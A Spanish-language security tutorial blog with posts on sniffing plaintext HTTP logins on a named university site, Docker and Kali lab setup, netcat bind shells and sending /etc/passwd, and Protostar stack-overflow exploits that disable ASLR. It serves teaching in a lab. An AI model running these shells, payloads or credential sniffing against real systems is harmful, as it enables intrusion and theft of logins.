Blog efemonge/2017-10-16T00:00:00+03:00¿Por qué usar HTTPS?2017-10-16T00:00:00+03:002017-10-16T00:00:00+03:00efemongetag:None,2017-10-16:/por-que-https.html<hr>
<h1>¿Por qué usar HTTPS (STLS)?</h1>
<p>Primero veamos su significado y algunos términos importantes.</p>
<p>Paquetes: Los bloques en que se dividen los datos para ser enviados por red.
Nodo: Puede ser un router o un servidor</p>
<h3>La <code>s</code> en https.</h3>
<p>Los sitios que visitamos con <code>http</code> (Protocolo de transferencia de hipertexto …</p><hr>
<h1>¿Por qué usar HTTPS (STLS)?</h1>
<p>Primero veamos su significado y algunos términos importantes.</p>
<p>Paquetes: Los bloques en que se dividen los datos para ser enviados por red.
Nodo: Puede ser un router o un servidor</p>
<h3>La <code>s</code> en https.</h3>
<p>Los sitios que visitamos con <code>http</code> (Protocolo de transferencia de hipertexto) se comunican con el servidor en texto plano. Esto quiere decir que cualquiera en la red (WiFi o cableada) o los dispositivos involucrados en la ruta que toman los paquetes desde el dispositivo que usamos hasta el servidor que la aloja la página tendrán acceso a todo el contenido e información que ingresemos.</p>
<p>Incluso si usamos <a href="https://www.torproject.org/">TOR</a> o <a href="https://bitmask.net/es/features#vpn">VPN</a> el ultimo nodo encargado de enviar los paquetes a Internet y la ruta que estos toman hasta el servidor tendrán acceso al contenido. Con la ventaja de que nuestros identidad está protegida. A menos que ingresemos información que sea vinculante a nosotros.</p>
<p>La 's' indica que la conexión es segura. La ausencia de esta indica que la conexión es insegura. Https utiliza <a href="https://es.wikipedia.org/wiki/Transport_Layer_Security">STLS</a> para cifrar la comunicación entre la computadora y el servidor. Por lo tanto no se puede ver la información enviada entre el dispositivos utilizado y el servidor. Si usamos <a href="https://www.torproject.org/">TOR</a> o <a href="https://bitmask.net/es/features#vpn">VPN</a> y https nuestros datos tendrán mayor probabilidad de estar seguros.</p>
<h3>La <code>s</code>:</h3>
<p>Nos protege:
- Proteger nuestra privacidad.
- Proteger nombres de usuario y contraseñas.</p>
<h3>¿Qué tan inseguro es usar HTTP?</h3>
<p>Veamos...</p>
<p>Una página que parece segura y usada frecuenteme en redes públicas. http://tecdigital.tec.ac.cr</p>
<p><img alt="login_tec_digital" src="https://gitlab.com/fmonge/fmonge.gitlab.io/raw/f7d99c18bfdcc3eb98e5dea62dae8d81215cdc05/img/Tec_digital/login_tec_digital.png"></p>
<p>Basta con tener instalado un programa que capture paquetes. Como lo es <a href="https://www.wireshark.org/">Wireshark</a>. Se debe conocer la IP de la pagina que se quiere inspeccionar.</p>
<p>Esto se logra ejecutando dos simples comandos (en el caso de usar Debian):</p>
<div class="highlight"><pre><span></span>$ sudo apt install wireshark -y
$ nslookup tecdigital.tec.ac.cr
Server: <span class="m">8</span>.8.8.8
Address: <span class="m">8</span>.8.8.8#53
Non-authoritative answer:
Name: tecdigital.tec.ac.cr
Address: <span class="m">201</span>.204.122.5
</pre></div>
<p>Observamos que la IP es 201.204.122.5. Ahora abrimos Wireshark, elegimos la tarjeta de red que estemos usado y digitamos el siguiente filtro:</p>
<div class="highlight"><pre><span></span>ip.addr == 201.204.122.5 and http.request.method == "POST"
</pre></div>
<p><img alt="wireshark_filtro" src="https://gitlab.com/fmonge/fmonge.gitlab.io/raw/802f821929ed839ce3b3f6cd1c3e9c4d39957efe/img/Tec_digital/wireshark_0.png"></p>
<p>Esperamos que la victima ficticia ingrese su usuario y contraseña:</p>
<p><img alt="user_y_pass" src="https://gitlab.com/fmonge/fmonge.gitlab.io/raw/802f821929ed839ce3b3f6cd1c3e9c4d39957efe/img/Tec_digital/user_y_pass.png"></p>
<p>En el momento que la victima ficticia ingrese sus credenciales en Wireshark veremos una linea nueva.</p>
<p><img alt="paquete_post" src="https://gitlab.com/fmonge/fmonge.gitlab.io/raw/802f821929ed839ce3b3f6cd1c3e9c4d39957efe/img/Tec_digital/paquete_post.png"></p>
<p>Doble click sobre esta linea. Se abrirá una nueva ventana, desplegamos el menú que dice <code>HTML Form URL Encoded: applicatix-www-urlencoded</code>. Y observamos el nombre de usuario y contraseña en texto plano, en este caso son:</p>
<div class="highlight"><pre><span></span><span class="n">username</span><span class="o">:</span> <span class="n">admin_todo_poderoso</span>
<span class="n">password</span><span class="o">:</span> <span class="n">pa55w0rd_s3gur0_1mp0sibl3_de_ad1vi14r</span>
</pre></div>
<p><img alt="ws_pass_y_user" src="https://gitlab.com/fmonge/fmonge.gitlab.io/raw/802f821929ed839ce3b3f6cd1c3e9c4d39957efe/img/Tec_digital/ws_pass_y_user.png"></p>
<h3>¿Cómo protegerme?</h3>
<p>Algunas páginas usan <code>https</code> pero también permiten conexiones <code>http</code>. Para forzar la conexión segura como usuarios podemos instalar una herramienta llamada <a href="https://www.eff.org/https-everywhere">HTTPS Everywhere</a> y elegir la opcion <code>Block all unencrypted requests</code></p>
<h3>Si tengo una página, pero no https</h3>
<p>Puede usar <a href="https://letsencrypt.org/">Letsencrypt</a> y obtener un certificado gratuito para usar https. Para mas información puede ver este <a href="https://www.youtube.com/watch?v=KCTKC1iUlC8">vídeo</a> y consultar la <a href="https://letsencrypt.org/docs/">documentación</a> de Letsencrypt.</p>
<hr>Creando ambiente de pruebas2017-09-22T00:00:00+03:002017-09-22T00:00:00+03:00efemongetag:None,2017-09-22:/ambiente-de-pruebas.html<h2>Seguridad Informática</h2>
<h2>Creando ambiente de pruebas</h2>
<p>Creando ambiente de pruebas en contenedores <a href="https://docs.docker.com/engine/installation/linux/docker-ce/debian/">Docker</a>. También puede crear máquinas virtuales con <a href="https://upload.wikimedia.org/wikipedia/commons/thumb/c/c3/Herrerasaurusskeleton.jpg/640px-Herrerasaurusskeleton.jpg">Virtual Box</a></p>
<h4>Crear una red local</h4>
<div class="highlight"><pre><span></span>$ docker network create toolsec
</pre></div>
<h4>Crear dos contenedores con Debian.</h4>
<div class="highlight"><pre><span></span>$ docker run -ti --privileged --network toolsec --name Alice --hostname<span class="o">=</span>Alice debian bash
$ docker run -ti --privileged …</pre></div><h2>Seguridad Informática</h2>
<h2>Creando ambiente de pruebas</h2>
<p>Creando ambiente de pruebas en contenedores <a href="https://docs.docker.com/engine/installation/linux/docker-ce/debian/">Docker</a>. También puede crear máquinas virtuales con <a href="https://upload.wikimedia.org/wikipedia/commons/thumb/c/c3/Herrerasaurusskeleton.jpg/640px-Herrerasaurusskeleton.jpg">Virtual Box</a></p>
<h4>Crear una red local</h4>
<div class="highlight"><pre><span></span>$ docker network create toolsec
</pre></div>
<h4>Crear dos contenedores con Debian.</h4>
<div class="highlight"><pre><span></span>$ docker run -ti --privileged --network toolsec --name Alice --hostname<span class="o">=</span>Alice debian bash
$ docker run -ti --privileged --network toolsec --name Bob --hostname<span class="o">=</span>Bob debian bash
</pre></div>
<h4>Comprobar conexión entre las dos máquinas.</h4>
<p>Desde la máquina Alice</p>
<div class="highlight"><pre><span></span># ping -c 2Bob
PING Bob (172.18.0.3): 56 data bytes
64 bytes from 172.18.0.3: icmp_seq=0 ttl=64 time=0.147 ms
64 bytes from 172.18.0.3: icmp_seq=1 ttl=64 time=0.095 ms
--- Bob ping statistics ---
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max/stddev = 0.095/0.121/0.147/0.026 ms
</pre></div>
<p>Desde la máquina Bob</p>
<div class="highlight"><pre><span></span># ping -c 2 Alice
PING Alice (172.18.0.2): 56 data bytes
64 bytes from 172.18.0.2: icmp_seq=0 ttl=64 time=0.099 ms
64 bytes from 172.18.0.2: icmp_seq=1 ttl=64 time=0.100 ms
--- Alice ping statistics ---
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max/stddev = 0.099/0.100/0.100/0.000 ms
</pre></div>
<p>Cree 2 mas máquinas llamada Carol y Dave</p>
<h3>Instalar kali</h3>
<div class="highlight"><pre><span></span>$ docker run -ti --name Atacante --hostname Atacante kalilinux/kali-linux-docker /bin/bash
</pre></div>
<p>Una vez descargado, pueden instalar todos o algunos de los paquetes de kali.</p>
<div class="highlight"><pre><span></span>root@Atacante:/# apt update
root@Atacante:/# apt search kali-linux*
</pre></div>
<p><code>apt search kali-linux*</code> mostrará los paquetes que tenemos a disposición. Si instalan <code>kali-linux-full</code> tendrán la opción de usar GUI. Peeero son como 6GB lo que se descargará :p</p>
<div class="highlight"><pre><span></span>root@Atacante:/# apt install kali-linux-full
</pre></div>
<hr>Demo Netcat2017-09-22T00:00:00+03:002017-09-22T00:00:00+03:00efemongetag:None,2017-09-22:/demo-netcat.html<h1>Netcat</h1>
<blockquote>
<p>Netcat es una herramienta simple de unix que lee y escribe datos a través de conexiones de tipo UDP o TCP. <a href="/man_pages/netcat">$ man netcat</a></p>
</blockquote>
<h2>Instalación</h2>
<p>Ejecutar en ambos contenedores. (Alice y Bob)</p>
<p><code>apt update && apt install netcat</code></p>
<h2>Opciones de netcad</h2>
<p><strong>-l</strong> listen mode</p>
<p><strong>-p</strong> local port number</p>
<p><strong>-u</strong> UDP mode …</p><h1>Netcat</h1>
<blockquote>
<p>Netcat es una herramienta simple de unix que lee y escribe datos a través de conexiones de tipo UDP o TCP. <a href="/man_pages/netcat">$ man netcat</a></p>
</blockquote>
<h2>Instalación</h2>
<p>Ejecutar en ambos contenedores. (Alice y Bob)</p>
<p><code>apt update && apt install netcat</code></p>
<h2>Opciones de netcad</h2>
<p><strong>-l</strong> listen mode</p>
<p><strong>-p</strong> local port number</p>
<p><strong>-u</strong> UDP mode</p>
<p><strong>-v</strong> verbose</p>
<h3>Creando un chat entre Alice y Bob</h3>
<p>Ejecutar en una terminal de Alice</p>
<p><code>root@Alice:~# nc -l -p 8080</code></p>
<p>Ejecutar en una terminal de Bob</p>
<p><code>root@Bob:~# nc Alice 8080</code></p>
<p>Y ahora lo que se ingresa en una terminal aparecerá en la otra.</p>
<h3>Enviando archivos</h3>
<p>Enviando archivos usando <a href="http://www.westwind.com/reference/os-x/commandline/pipes.html"><em>Pipes y Redirects</em></a></p>
<p><code>root@Alice:~# nc -l -p 8080 > passwd</code></p>
<p><code>root@Bob:~# nc -v Alice 8080 < /etc/passwd</code></p>
<p><code>root@Alice:~# ls
passwd</code></p>
<p>Tambien puede hacerlo de forma inversa, basta con inveritir los símbolos "<" y ">"</p>
<h3>Ejecutando una shell desde el cliente</h3>
<p><code>root@Alice:~# nc -l -v -p 8080 -e bash</code></p>
<p><code>root@Bob:~# nc Alice 8080</code></p>
<h3>Ejecutando una shell desde el cliente usando <a href="http://www.westwind.com/reference/os-x/commandline/pipes.html"><em>Pipes</em></a></h3>
<p>Podría ser útil para evitar firewalls </p>
<p><code>root@Alice:~# nc -l -v -p 8080 | /bin/bash | nc -l -v -p 8888</code></p>
<p><code>root@Dave:~# nc Alice 8888</code></p>
<p><code>root@Bob:~# nc Alice 8080</code></p>
<p><img alt="B->A->D" src="/Images/netcad-B-A-D.png"></p>
<hr>
<h1>Ctryptcat</h1>
<p>Es como netcad con la diferencia que:</p>
<blockquote>
<p>Cryptcat toma una contraseña como una salt para cifrar los datos que se envían a través de la conexión. Sin una contraseña especificada, cryptcat usará por defecto la contraseña codificada. No hace falta decir que el hecho de no especificar una contraseña distinta hace que la conexión sea tan buena como no cifrada.<a href="/man_pages/cryptcat">$ man netcat</a></p>
</blockquote>Stack Overflow2017-09-22T00:00:00+03:002017-09-22T00:00:00+03:00efemongetag:None,2017-09-22:/demo-stack-overflow.html<h1>Stack Overflow</h1>
<h2>Estructura de un programa</h2>
<p>Un programa está dividido por zonas: <strong>.text</strong>, <strong>.data</strong> y <strong>.bss</strong>.</p>
<h3>TEXT</h3>
<p>El .text almacena todas las instrucciones del programa. Para ahorrar recursos está sección es compartida por diferentes instancias del programa, si las hay.</p>
<h3>DATA</h3>
<p>En .data se almacenan las variables globales o estáticas …</p><h1>Stack Overflow</h1>
<h2>Estructura de un programa</h2>
<p>Un programa está dividido por zonas: <strong>.text</strong>, <strong>.data</strong> y <strong>.bss</strong>.</p>
<h3>TEXT</h3>
<p>El .text almacena todas las instrucciones del programa. Para ahorrar recursos está sección es compartida por diferentes instancias del programa, si las hay.</p>
<h3>DATA</h3>
<p>En .data se almacenan las variables globales o estáticas inicializadas.</p>
<h3>BSS</h3>
<p>En el <strong>.bss</strong> se guardan las variables globales o estáticas no inicializadas. </p>
<p>Estas 3 secciones se pueden consultar mediante el comando <code>size program</code></p>
<div class="highlight"><pre><span></span>$ size ejemplo0
text data bss dec hex filename
<span class="m">1837</span> <span class="m">600</span> <span class="m">8</span> <span class="m">2445</span> 98d ejemplo0
</pre></div>
<h3>STACK</h3>
<p>En el <strong>stack</strong> se guardan las varibles de entorno (nombre y ruta del ejecutable). Los argunemtos (<code>./program arg1 arg2</code>). Variables locales sin inicializar. Cuando una función es llamada el registro <strong>Instruction Point (IP)</strong> es almacenado en el stack, para saber donde continuar al ejecutar las instrucción <code>RET</code>.</p>
<p>Al IP también se le conoce como <strong>Program Counter (PC)</strong> o <strong>Instruction Address Register (IAR)</strong>. </p>
<p>Es importante recordar que la pila crece hacia abajo (es decir hacia las direcciones más pequeñas). Pero las variables, por ejemplo un buffer crece hacia arriba.</p>
<h3>HEAP</h3>
<p>En el <strong>heap</strong> se guardan las variables dinámicas (cuando usamos <strong><em>malloc()</em></strong> , <strong><em>realloc()</em></strong> o <strong><em>calloc()</em></strong> )</p>
<h2>Creando ambiente de pruebas</h2>
<p>Puede descargar el .iso de <a href="https://exploit-exercises.com/download">Protostar</a> o bien compilar los programas por usted mismo. Puede usar una VM o un contenedor 32b.</p>
<div class="highlight"><pre><span></span>$ docker run --rm -it --privileged --hostname stackoverflow i686/ubuntu bash
</pre></div>
<h2>Deshabilitar ASLR</h2>
<p>Deshabilitar la opción <strong><em>randomize_va_space</em></strong> de Linux. Esto es un mecanismo de aleatorización de memoria. <strong><em>ASLR - Address Space Layout Randomization</em></strong></p>
<blockquote>
<p>ASLR trata de evitar que las direcciones de memoria sean conocidas y así prevenir ataques que dependen del conocimiento de estas direcciones (tipo return2libc y otros). <a href="http://s3lab.deusto.es/hardening-binarios-2/">Hardening de binarios</a></p>
</blockquote>
<div class="highlight"><pre><span></span># echo 0 > /proc/sys/kernel/randomize_va_space
</pre></div>
<p>Al finalizar las pruebas no olvide habilitarla con:</p>
<div class="highlight"><pre><span></span># echo 2 > /proc/sys/kernel/randomize_va_space
</pre></div>
<p>También puede deshabilitar <strong>ASLR</strong> para una ejecución:</p>
<div class="highlight"><pre><span></span>setarch `uname -m` -R ./programa
</pre></div>
<p>Si está usando un contenedor Docker, con la opción <strong><em>--privileged</em></strong> esta acción también afectara el host (Sistema Operativo anfitrión). Lo puede comprobar con ejecutando <code>cat /proc/sys/kernel/randomize_va_space</code> en host. Si no creó el contenedor con dicha opción no podrá ejecutar estos comandos. </p>
<h2>Compilar</h2>
<div class="highlight"><pre><span></span>$ gcc -fno-stack-protector -D_FORTIFY_SOURCE<span class="o">=</span><span class="m">0</span> -z norelro -z execstack program.c -o program
</pre></div>
<h2>Ejemplos</h2>
<h3>Ejemplo 0x00 (x86)</h3>
<p>La intención de este ejemplo es ejecutar la función <strong>overflow()</strong> aprovechando el desbordamiento del <strong>buffer</strong>. Para que sobre escriba la dirección de retorno. </p>
<h4>Explotando <strong><em>strcpy()</em></strong></h4>
<div class="highlight"><pre><span></span><span class="cp">#include</span> <span class="cpf"><stdlib.h></span><span class="cp"></span>
<span class="cp">#include</span> <span class="cpf"><string.h></span><span class="cp"></span>
<span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp"></span>
<span class="kt">void</span> <span class="nf">overflow</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">arg</span><span class="p">){</span>
<span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span>
<span class="n">strcpy</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="n">arg</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Buffer: %s.</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">buffer</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="n">argc</span> <span class="o">!=</span> <span class="mi">2</span><span class="p">){</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Buffer ingresado: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">overflow</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
<p>Compilamos</p>
<div class="highlight"><pre><span></span>gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack ejemplo0x00.c -o ejemplo0x00
</pre></div>
<p>Usamos <strong><em>perl</em></strong> para evitar ingresar una cantidad excesiva de caracteres, en este caso 16 letras "A" .</p>
<div class="highlight"><pre><span></span>$ ./ejemplo0x00 <span class="sb">`</span>perl -e <span class="s1">'print "A"x16'</span><span class="sb">`</span>
Buffer: AAAAAAAAAAAAAAAA.
$ <span class="nb">echo</span> <span class="nv">$?</span>
<span class="m">0</span>
$ ./ejemplo0x00 <span class="sb">`</span>perl -e <span class="s1">'print "A"x17'</span><span class="sb">`</span>
Buffer: AAAAAAAAAAAAAAAAA.
Segmentation fault
$ <span class="nb">echo</span> <span class="nv">$?</span>
<span class="m">139</span>
</pre></div>
<p>Al ingresar solo 16 caracteres, el comando <code>echo $?</code> muestra un <strong>0</strong> que significa que <strong>La acción se ha completado satisfactoriamente</strong>. Y claramente el error <strong>139</strong> indica <strong>Segmentation fault</strong>.</p>
<div class="highlight"><pre><span></span>$ ./ejemplo0x00 <span class="sb">`</span>perl -e <span class="s1">'print "A"x23'</span><span class="sb">`</span>
Buffer: AAAAAAAAAAAAAAAAAAAAAAA.
Bus error
$ ./ejemplo0x00 <span class="sb">`</span>perl -e <span class="s1">'print "A"x24'</span><span class="sb">`</span>
Buffer: AAAAAAAAAAAAAAAAAAAAAAAA.
Illegal instruction
</pre></div>
<p>Para ver la dirección de memoria de <code>overflow()</code> se puede usar el comando <code>objdump</code>. Y agregarla al final de la cadena. Basta con ingresar esta dirección al final de buffer. La dirreción podría variar.</p>
<div class="highlight"><pre><span></span>$ objdump -d ejemplo0x00 <span class="p">|</span> grep overflow
0804846b <overflow>:
</pre></div>
<p>Para ser mas exactos se puede usar gdb se puede ver el desplazamiento en donde debemos insertar la dirección del overflow().</p>
<div class="highlight"><pre><span></span>(gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKK.
Starting program: /home/user/toolsec/Stcak_overflow/ejemplo0x00 AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKK.
Buffer: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKK..
Program received signal SIGSEGV, Segmentation fault.
0x48484848
</pre></div>
<p>Como 0x48 es la letra H en ascii. Sería 8 x 4 = 32. En el byte 32 escribiremos la dirección del overflow() de izquierda a derecha (little endian).</p>
<div class="highlight"><pre><span></span>$ ./ejemplo0x00 <span class="sb">`</span>perl -e <span class="s1">'print "A"x28 . "\x6b\x84\x04\x08"'</span><span class="sb">`</span>
Buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAk�.
Buffer: <span class="m">0</span>.
Segmentation fault <span class="o">(</span>core dumped<span class="o">)</span>
</pre></div>
<h3>CTF</h3>
<p>Retos obtenidos de <a href="https://exploit-exercises.com/download">Protostar</a>. Los ejecutables se encuentra en la ruta <code>/opt/protostar/bin/</code>. Usuarios: <code>user / user</code> y <code>root / godmode</code>. Y el código y consejos se pueden tomar de <a href="https://exploit-exercises.com/protostar/stack0/">Protostar</a>.</p>
<h4>Stack 0</h4>
<p>Desbordar el buffer para cambiar el valor de la variable <code>modified</code>. </p>
<div class="highlight"><pre><span></span><span class="cp">#include</span> <span class="cpf"><stdlib.h></span><span class="cp"></span>
<span class="cp">#include</span> <span class="cpf"><unistd.h></span><span class="cp"></span>
<span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp"></span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">){</span>
<span class="k">volatile</span> <span class="kt">int</span> <span class="n">modified</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span>
<span class="n">modified</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">gets</span><span class="p">(</span><span class="n">buffer</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">modified</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"you have changed the 'modified' variable</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Try again?</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</pre></div>
<div class="highlight"><pre><span></span>$ perl -e <span class="s1">'print "a"x76'</span> <span class="p">|</span> ./stack0
Try again?
$ perl -e <span class="s1">'print "a"x77'</span> <span class="p">|</span> ./stack0
you have changed the <span class="s1">'modified'</span> variable
</pre></div>
<h4>Stack 1</h4>
<p>Desbordar el buffer para cambiar la variable <code>modified</code> con el valor 0x61626364.</p>
<div class="highlight"><pre><span></span><span class="cp">#include</span> <span class="cpf"><stdlib.h></span><span class="cp"></span>
<span class="cp">#include</span> <span class="cpf"><unistd.h></span><span class="cp"></span>
<span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp"></span>
<span class="cp">#include</span> <span class="cpf"><string.h></span><span class="cp"></span>
<span class="kt">int</span> <span class="nf">main</span> <span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">volatile</span> <span class="kt">int</span> <span class="n">modified</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span>
<span class="k">if</span><span class="p">(</span><span class="n">argc</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">errx</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"Please, specify an argument</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">modified</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">strcpy</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
<span class="k">if</span><span class="p">(</span><span class="n">modified</span> <span class="o">==</span> <span class="mh">0x61626364</span><span class="p">)</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"You have correctly got the variable to the right value</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">else</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Try again, you got 0x%08x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">modified</span><span class="p">);</span>
<span class="p">}</span>
</pre></div>
<div class="highlight"><pre><span></span>$ ./stack1 <span class="sb">`</span>perl -e <span class="s1">'print "a"x64 ."\x64\x63\x62\x61"'</span><span class="sb">`</span>
</pre></div>
<h4>Stack 2</h4>
<p>Igual que el anterior pero usando variable una variable de entorno llamada <code>GREENIE</code> para pasar el buffer.</p>
<div class="highlight"><pre><span></span><span class="cp">#include</span> <span class="cpf"><stdlib.h></span><span class="cp"></span>
<span class="cp">#include</span> <span class="cpf"><unistd.h></span><span class="cp"></span>
<span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp"></span>
<span class="cp">#include</span> <span class="cpf"><string.h></span><span class="cp"></span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">volatile</span> <span class="kt">int</span> <span class="n">modified</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">variable</span><span class="p">;</span>
<span class="n">variable</span> <span class="o">=</span> <span class="n">getenv</span><span class="p">(</span><span class="s">"GREENIE"</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="n">variable</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
<span class="n">errx</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"please set the GREENIE environment variable</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">modified</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">strcpy</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="n">variable</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="n">modified</span> <span class="o">==</span> <span class="mh">0x0d0a0d0a</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"you have correctly modified the variable</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Try again, you got 0x%08x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">modified</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</pre></div>
<div class="highlight"><pre><span></span>$ <span class="nb">export</span> <span class="nv">GREENIE</span><span class="o">=</span><span class="sb">`</span>perl -e <span class="s1">'print "a"x64 . "\x0a\x0d\x0a\x0d"'</span><span class="sb">`</span>
$ ./stack2
</pre></div>
<h4>Stack 3</h4>
<div class="highlight"><pre><span></span><span class="cp">#include</span> <span class="cpf"><stdlib.h></span><span class="cp"></span>
<span class="cp">#include</span> <span class="cpf"><unistd.h></span><span class="cp"></span>
<span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp"></span>
<span class="cp">#include</span> <span class="cpf"><string.h></span><span class="cp"></span>
<span class="kt">void</span> <span class="nf">win</span><span class="p">()</span>
<span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"code flow successfully changed</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">volatile</span> <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">fp</span><span class="p">)();</span>
<span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span>
<span class="n">fp</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">gets</span><span class="p">(</span><span class="n">buffer</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="n">fp</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"calling function pointer, jumping to 0x%08x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">fp</span><span class="p">);</span>
<span class="n">fp</span><span class="p">();</span>
<span class="p">}</span>
<span class="p">}</span>
</pre></div>
<p>Tenemos que modificar el puntero de la función fp() por el de la función wun().</p>
<div class="highlight"><pre><span></span>$ objdump -d ./stack3 <span class="p">|</span> grep <span class="s2">"win"</span>
0804845d <win>:
$ perl -e <span class="s1">'print "a"x64 . "\x5d\x84\x04\x08"'</span> <span class="p">|</span> ./stack3
</pre></div>
<h4>Stack 4</h4>
<div class="highlight"><pre><span></span><span class="cp">#include</span> <span class="cpf"><stdlib.h></span><span class="cp"></span>
<span class="cp">#include</span> <span class="cpf"><unistd.h></span><span class="cp"></span>
<span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp"></span>
<span class="cp">#include</span> <span class="cpf"><string.h></span><span class="cp"></span>
<span class="kt">void</span> <span class="nf">win</span><span class="p">()</span>
<span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"code flow successfully changed</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span>
<span class="n">gets</span><span class="p">(</span><span class="n">buffer</span><span class="p">);</span>
<span class="p">}</span>
</pre></div>
<div class="highlight"><pre><span></span>(gdb) run
Starting program: /root/stack4
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
Program received signal SIGSEGV, Segmentation fault.
0x54545454 in ?? ()
</pre></div>
